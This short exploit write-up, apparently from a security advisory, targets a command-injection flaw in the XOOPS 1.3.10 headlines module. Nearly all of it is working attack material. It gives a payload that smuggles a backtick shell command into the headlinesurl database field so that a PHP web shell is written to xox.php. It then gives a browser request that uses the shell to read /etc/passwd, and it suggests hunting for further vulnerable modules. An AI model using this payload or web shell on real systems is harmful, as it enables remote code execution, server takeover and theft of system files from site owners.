[1] Exploitation:
A. (*)INTO DB:
headlinesurl(headlines module table's field) = https://;`echo '<?passthru($cmd)?>' >> xox.php`
B. Browsing xoops pages for referencing headlines module ( at this time. our parameter reached to snoopy class's exec(??,$URI,??) )
C.
IN WEB-BROWSER:
http://victim/xoops-1.3.10/html/class/xox.php?cmd='cat /etc/passwd'
TODO : http://www.xoops.org/modules/news/archive.php
We can search more vulnerable modules else headlinesurl (default module) from above url.
